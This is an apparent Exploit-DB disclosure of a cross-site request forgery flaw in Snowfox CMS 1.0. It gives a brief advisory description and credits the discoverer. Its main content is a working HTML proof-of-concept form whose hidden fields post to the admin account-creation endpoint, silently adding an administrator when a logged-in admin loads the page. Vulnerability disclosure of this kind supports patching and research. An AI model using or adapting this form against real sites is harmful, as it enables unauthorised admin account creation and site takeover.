Snowfox CMS 1.0 - Cross-Site Request Forgery (Add Admin)

EDB-ID:

35301




Platform:

PHP

Date:

2014-11-19


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Snowfox CMS v1.0 CSRF Add Admin Exploit


Vendor: Globiz Solutions
Product web page: http://www.snowfoxcms.org
Affected version: 1.0

Summary: Snowfox is an open source Content Management System (CMS)
that allows your website users to create and share content based
on permission configurations.

Desc: Snowfox CMS suffers from a cross-site request forgery
vulnerabilities. The application allows users to perform certain
actions via HTTP requests without performing any validity checks
to verify the requests. This can be exploited to perform certain
actions with administrative privileges if a logged-in user visits
a malicious web site.

Tested on: Apache/2.4.7 (Win32)
           PHP/5.5.6
           MySQL 5.6.14


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2014-5205
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2014-5205.php



12.11.2014

-->


<html>
  <body>
    <form action="http://10.0.18.3/snowfox/?uri=admin/accounts/create" method="POST">
      <input type="hidden" name="emailAddress" value="lab@zeroscience.mk" />
      <input type="hidden" name="verifiedEmail" value="verified" />
      <input type="hidden" name="username" value="USERNAME" />
      <input type="hidden" name="newPassword" value="PASSWORD" />
      <input type="hidden" name="confirmPassword" value="PASSWORD" />
      <input type="hidden" name="userGroups[]" value="34" />
      <input type="hidden" name="userGroups[]" value="33" />
      <input type="hidden" name="memo" value="CSRFmemo" />
      <input type="hidden" name="status" value="1" />
      <input type="hidden" name="formAction" value="submit" />
      <input type="submit" value="Submit form" />
    </form>
  </body>
</html>